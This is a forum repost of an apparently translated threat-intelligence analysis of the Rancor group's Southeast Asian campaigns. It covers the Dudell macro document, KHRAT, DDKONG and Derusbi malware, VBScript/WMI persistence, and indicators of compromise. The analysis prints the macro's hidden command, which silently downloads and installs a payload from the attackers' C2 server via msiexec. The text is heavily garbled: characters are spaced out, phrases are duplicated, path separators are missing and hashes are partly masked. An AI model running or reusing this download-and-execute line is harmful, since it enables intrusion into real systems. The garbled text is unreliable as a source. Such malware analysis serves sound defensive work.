搜索

[14928] 2020-01-01_Rancor组织东南亚攻击活动分析

文档创建者：s7ckTeam
浏览次数：7
最后更新：2025-01-18
2020-01-01_Rancor组织东南亚攻击活动分析 R a n c o r 组 织 东 南 亚 攻 击 活 动 分 析 K r i s t o n   F r e e B u f   2 0 2 0 - 0 1 - 0 1 在 在 2 0 1 8 年 年 6 月 下 旬 ， 研 究 人 员 发 现 了 一 个 未 知 的 网 络 间 谍 组 织 月 下 旬 ， 研 究 人 员 发 现 了 一 个 未 知 的 网 络 间 谍 组 织 R a n c o r ， 该 组 织 在 ， 该 组 织 在 2 0 1 7 年 和 年 和 2 0 1 8 年 期 间 在 东 南 亚 进 行 了 有 针 对 性 的 攻 击 。 在 研 究 这 些 攻 击 时 发 现 了 一 个 未 记 录 年 期 间 在 东 南 亚 进 行 了 有 针 对 性 的 攻 击 。 在 研 究 这 些 攻 击 时 发 现 了 一 个 未 记 录 的 自 定 义 恶 意 软 件 家 族 的 自 定 义 恶 意 软 件 家 族 D u d e l l 。 。 攻 击 细 节 攻 击 细 节 在 2 0 1 8 年 1 2 月 上 旬 至 2 0 1 9 年 1 月 下 旬 之 间 ， R a n c o r 进 行 了 至 少 两 轮 攻 击 ， 在 受 害 者 系 统 上 安 装 D e r u s b i 或 K H R a t 恶 意 软 件 。 2 0 1 9 年 1 月 通 过 1 4 9 . 2 8 . 1 5 6   [ . ]   6 1 发 送 ， 以 c s w k s f w q . k f e s v [ . ] x y z 或 c o n n e c t . b a f u n p d a   [ . ]   x y z 作 为 C 2 。 样 本 分 析 样 本 分 析 D U D E L L D U D E L L 是 经 过 处 理 的 M i c r o s o f t   E x c e l 文 档 ， 其 中 包 含 恶 意 宏 。 S H A - 1   c 8 2 9 f 5 f 9 f 8 9 2 1 0 c 8 8 8 c 1 5 5 9 b b 0 8 5 e c 6 e 6 5 2 3 2 d e 。 以 下 为 其 元 数 据 信 息 ： 当 用 户 查 看 文 档 并 单 击 “ 启 用 内 容 ” 时 ， 将 执 行 该 文 档 中 的 宏 ， 这 时 该 宏 将 定 位 并 执 行 位 于 文 档 属 性 中 “ 公 司 ” 字 段 下 的 数 据 。 位 于 公 司 字 段 下 的 数 据 是 ： C 2 服 务 器 1 9 9 . 2 4 7 . 6   [ 。 ]   2 5 3 由 R a n c o r 组 使 用 。 该 脚 本 通 过 M i c r o s o f t 工 具 m s i e x e c 下 载 第 二 阶 段 的 有 效 负 载 。 在 目 录 c ：   W i n d o w s     S y s t e m 3 2     s p o o l     d r i v e r s     c o l o r 中 发 现 了 文 件 o f f i c e . v b s （ S H A 2 5 6 ： 4 b 0 b 3 1 9 * c 2 c 0 9 8 0 3 9 0 e 2 4 3 7 9 a 2 e 2 a 0 a 1 e 1 a 9 1 d 1 7 a 9 d 3 e 2 6 b e 6 f 4 a 3 9 a 7 a f a d 2 ） 。 该 文 件 的 内 容 是 ： 如 果 t m p . v b s 文 件 包 含 与 o f f i c e . v b s 文 件 相 似 的 内 容 ， 可 能 是 下 载 有 效 载 荷 另 一 种 方 法 。 D D K O N G   P l u g i n 恶 意 软 件 配 置 有 以 下 导 出 条 目 ： D l l I n s t a l l D l l I n s t a l l 检 查 带 有 标 题 “   H e l l o   G o o g l e ” 的 隐 藏 窗 口   和 G o o g l e 的 类 名 ， 请 参 见 下 面 的 图 1 。 执 行 此 检 查 以 确 保 一 次 仅 运 行 一 个 恶 意 软 件 实 例 。 c m d   / c   s e t   / p = S e t   v = C r e a t e O b j e c t ( ^ ” W s c r i p t . S h e l l ^ ” ) : v . R u n   ^ ” m s i e x e c   / q   / i   h t t p : / / 1 9 9 . 2 4 7 . 6 [ . ] 2 5 3 / u d ^ ” , f a l s e , 0   < n u l   >   C : W i n d o w s S y s t e m 3 2 s p o o l d r i v e r s c o l o r t m p . v b s S e t   v = C r e a t e O b j e c t ( “ W s c r i p t . S h e l l ” ) : v . R u n   “ m s i e x e c   / q   / i   h t t p : / / 1 9 9 . 2 4 7 . 6 [ . ] 2 5 3 / O F F I C E ” , f a l s e , 0 S H A 2 5 6   b 9 5 8 e 4 8 1 c 9 0 9 3 9 9 6 2 0 8 1 b 9 f b 8 5 4 5 1 a 2 f b 2 8 f 7 0 5 d 5 * * * 6 0 f 5 d 9 d 5 a e b f b 3 9 0 f 8 3 2
恶 意 软 件 创 建 的 隐 藏 窗 口 会 在 用 户 输 入 （ 例 如 键 盘 或 鼠 标 活 动 ） 上 进 行 过 滤 。 为 了 避 沙 盒 分 析 通 常 不 执 行 鼠 标 和 键 盘 。 然 后 ， 恶 意 软 件 将 信 标 发 送 到 T C P 端 口 8 0 8 0 上 已 配 置 的 c s w k s f w q . k f e s v   [ . ]   x y z 远 程 服 务 器 。 成 功 连 接 后 ， 恶 意 软 件 将 传 输 受 害 者 信 息 ， 例 如 ： 主 机 名 ， I P 地 址 ， 语 言 包 以 及 其 他 操 作 系 统 信 息 。 传 输 的 数 据 经 过 X O R 编 码 。 该 恶 意 软 件 支 持 以 下 功 能 ： 终 止 特 定 进 程 枚 举 进 程 上 传 文 件 下 载 文 件 删 除 文 件 列 出 文 件 夹 内 容 枚 举 存 储 卷 执 行 命 令 反 向 s h e l l 截 图 K H R A T R m c m d 最 初 加 载 D L L 时 ， 它 会 动 态 解 析 并 导 入 所 需 的 其 他 模 块 （ D L L ） 。 加 载 并 调 用 R m c m d 后 ， 它 将 创 建 一 个 名 为 g k d f l b m d f k 的 W i n d o w s 互 斥 锁 。 这 样 可 以 确 保 一 次 仅 运 行 一 个 恶 意 软 件 。 然 后 它 开 始 向 T C P 端 口 8 0 8 1 上 c o n n e c t . b a f u n p d a   [ . ]   x y z 的 域 发 出 信 号 。 恶 意 软 件 从 主 机 收 集 并 传 输 数 据 ， 例 如 主 机 名 ， 并 以 网 络 流 量 的 第 一 个 字 节 为 密 钥 进 行 X O R 编 码 ， 该 恶 意 软 件 可 反 向 s h e l l 。 恶 意 软 件 的 行 为 和 代 码 与 2 0 1 8 年 5 月 的 K H R A T 样 本 有 相 似 之 处 。 示 例 （ S H A 2 5 6 : b c 1 c 3 e 7 5 4 b e 9 f 2 1 7 5 b 7 1 8 a b a 6 2 1 7 4 a 5 5 0 c d c 3 d 9 8 a b 9 c 3 6 6 7 1 a 5 8 0 7 3 1 4 0 3 8 1 6 5 9 ） 具 有 相 同 的 导 出 条 目 名 称 ， 也 是 一 个 反 向 s h e l l 。 新 的 样 本 是 出 于 优 化 目 的 而 重 新 编 写 的 ， 底 层 行 为 保 持 不 变 。 D e r u s b i
D e r u s b i 是 后 门 木 马 ， 检 测 到 的 样 本 是 一 个 加 载 程 序 ， 可 为 其 功 能 加 载 加 密 的 有 效 负 载 。 此 D L L 加 载 的 可 执 行 文 件 需 要 在 命 令 行 上 包 含 3 2 字 节 的 密 钥 ， 以 解 密 嵌 入 的 有 效 负 载 ， 加 载 流 程 如 下 ： 1 、 如 果 加 载 样 本 的 模 块 名 为 m y a p p . e x e ， 则 该 模 块 将 退 出 2 、 加 载 后 ， 它 会 休 眠 六 秒 钟 3 、 查 找 名 为 .   p i p e     _ k e r n e l 3 2 . d l l . n t d l l . d l l . u s e * . d l l 的 W i n d o w s 通 道 4 、 查 找 名 为   D e v i c e     a c p i _ 0 1 0 2 2 1 的 W i n d o w s 设 备 5 、 创 建 以 下 注 册 表 项 H K E Y _ C L A S S E S _ R O O T     C D O . S S _ N N T P O n P o s t E a r l y S i n k . 2 名 为 I D X 和 V e r 的 D W O R D 值 。 6 、 保 存 加 密 的 数 据 7 、 解 密 嵌 入 式 有 效 负 载 R a n c o r   V B S c r i p t 在 2 0 1 9 年 7 月 发 现 V B S c r i p t ， 名 为 C h r o m e . v b s （ S H A 2 5 6 ： 0 C 3 D 4 D F A 5 6 6 F 3 0 6 4 A 8 A 4 0 8 D 3 E 1 0 9 7 * * 5 4 6 6 2 8 6 0 B C A C F B 6 6 7 5 D 2 B 7 2 7 3 9 C E 4 4 9 C 2 ） 。 V B S c r i p t 有 效 载 荷 指 向 域 b a f u n p d a [ . ] x y z ， K H R A T   T r o j a n 也 使 用 此 域 。 该 V B S c r i p t 被 混 淆 ， 并 包 含 打 包 数 据 ， 下 面 为 V B S c r i p t 的 执 行 流 程 ： 1 、 将 r e g s v * . e x e 从 ％ w i n d i r ％   s y s w o w 6 4 复 制 到 ％ w i n d i r ％   s p o o l s w . e x e 。 2 、 在 主 机 的 ％ T M P ％ 文 件 夹 中 创 建 一 个 名 为 v d f j g k l f f s d f m v . t x t 的 文 本 文 件 。 该 文 件 不 是 文 本 文 件 ， 而 是 W i n d o w s 管 理 对 象 文 件 M O F 。 3 、 执 行 W i n d o w s   m o f c o m p . e x e ， 并 传 入 在 步 骤 2 中 创 建 的 M O F 文 件 。 4 、 将 数 据 添 加 到 两 个 注 册 表 项 ： c l a s s e s 和 m e d i a 。 数 据 保 存 在 默 认 键 中 。 5 、 从 步 骤 4 中 创 建 的 注 册 表 项 类 中 读 取 数 据 的 B l o b ， 并 将 数 据 保 存 到 文 件 ％ w i n d i r ％   p l a . d a t 。 V B S c r i p t 创 建 的 M O F 文 件 通 过 W i n d o w s   M a n a g e m e n t   I n s t r u m e n t a t i o n 达 到 稳 定 控 制 的 目 的 。 M O F 文 件 创 建 一 个 计 时 器 事 件 ， 该 事 件 每 五 秒 钟 触 发 一 次 。 M O F 文 件 的 片 段 如 下 图 所 示 ： 上 图 显 示 了 M O F 文 件 的 主 要 功 能 。 它 具 有 唯 一 的 事 件 日 志 过 滤 器 ， 并 且 每 5 秒 运 行 s p o o l s w . e x e ， 并 将 /   s   /   n   /   i 参 数 传 入 文 件 p l a . d a t ， 参 数 指 示 r e g s v * 不 要 显 示 任 何 消 息 框 （ /   s ） ， 不 要 调
用 D l l R e g i s t e r S e r v e r 或 D l l U n r e g i s t e r S e r v e r （ /   n ） ， 不 要 调 用 D l l I n s t a l l （ /   i ） 。 V B S c r i p t 创 建 的 注 册 表 值 如 下 ： H K E Y _ C U R R E N T _ U S E R     S o f t w a r e     C l a s s e s 中 注 册 表 数 据 的 文 件 属 性 嵌 入 在 此 注 册 表 项 中 的 D L L 是 一 个 简 单 的 加 载 程 序 ， 可 从 注 册 表 H K E Y _ L O C A L _ M A C H I N E     S O F T W A R E     C l i e n t s     M e d i a 中 加 载 代 码 H K E Y _ L O C A L _ M A C H I N E     S O F T W A R E     C l i e n t s     M e d i a 包 含 D L L 的 s h e l l c o d e 和 x 8 6 代 码 ， 数 据 使 用   与 k e y 值 0 x 9 C 异 或 进 行 编 码 。 位 于 M e d i a 注 册 表 项 中 的 D L L 是 K H R A T 木 马 的 一 种 变 体 。 它 向 域 c o n n e c t . b a f u n p d a   [ . ]   x y z 发 出 信 号 ， 并 尝 试 连 接 到 T C P 端 口 4 4 3 3 。 与 K H R A T 木 马 使 用 的 相 同 域 ， 并 具 有 相 同 的 行 为 。 总 结 总 结 R a n c o r 从 2 0 1 7 年 开 始 活 跃 且 一 直 在 东 南 亚 进 行 有 针 对 性 的 攻 击 ， 它 使 用 的 是 自 定 义 恶 意 软 件 家 族 D u d e l l ， 一 旦 执 行 恶 意 宏 就 会 下 载 第 二 阶 段 有 效 负 载 并 执 行 。 R a n c o r 还 使 用 D e r u s b i 恶 意 软 件 在 渗 透 目 标 后 进 行 辅 助 加 载 外 部 程 序 。 I o C s S H A 2 5 6 : 0 E B 1 D 6 5 4 1 6 8 8 B 5 C 8 7 F 6 2 0 E 7 6 2 1 9 E C 5 D B 8 A 6 F 0 5 7 3 2 E 0 2 8 A 9 E C 3 6 1 9 5 D 7 B 4 F 5 E 7 0 7 A A E B F 9 8 7 B 8 D 8 0 D 7 1 3 1 3 C 3 C 0 F 2 C 1 6 D 6 0 8 7 4 F F E C B D D A 3 B B 6 B 4 4 D 6 C B A 6 D 3 8 0 3 1 6 0 9 0 D 6 1 D 9 B A A B 9 9 2 7 B B 4 8 4 F 3 E 6 0 3 8 4 F D B 6 A 3 7 0 9 C A 7 4 B C 6 1 7 5 A B 1 6 B 2 2 0 A 6 8 F 2 B 3 4 9 E D B 9 8 2 B 2 5 6 8 4 3 D 8 B 6 4 2 9 A F 2 4 F 7 6 6 6 3 6 B B 0 B F 7 8 1 B 4 7 1 9 2 2 9 0 2 D 8 D C F 0 8 D 0 C 5 8 5 1 1 E C C 0 8 1 F F E A 6 F 4 7 6 9 7 3 3 A F 9 D 0 B A E 0 3 0 8 C A 0 A E 6 3 6 6 7 F A 2 2 5 E 7 9 6 5 D F 0 8 8 4 E 9 6 E 2 D 2 A B C 1 C 3 E 7 5 4 B E 9 F 2 1 7 5 B 7 1 8 A B A 6 2 1 7 4 A 5 5 0 C D C 3 D 9 8 A B 9 C 3 6 6 7 1 A 5 8 0 7 3 1 4 0 3 8 1 6 5 9 8 3 d 1 d 1 8 1 a 6 d 5 8 3 b c a 2 f 0 3 c 3 c 4 e 5 1 7 7 5 7 a 7 6 6 d a 5 f 4 c 1 2 9 9 f b b e 5 1 4 b 3 e 2 a b d 9 e 0 d C 2 s c s w k s f w q . k f e s v [ . ] x y z C o n n e c t . b a f u n p d a [ . ] x y z 1 9 9 . 2 4 7 . 6 [ . ] 2 5 3 * 参 考 来 源 ： 参 考 来 源 ： u n i t 4 2 ， 由 ， 由 K r i s t o n 编 译 ， 转 载 请 注 明 来 自 编 译 ， 转 载 请 注 明 来 自 F r e e B u f . C O M 精 彩 推 荐 精 彩 推 荐 H K E Y _ C U R R E N T _ U S E R     S o f t w a r e     C l a s s e s
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理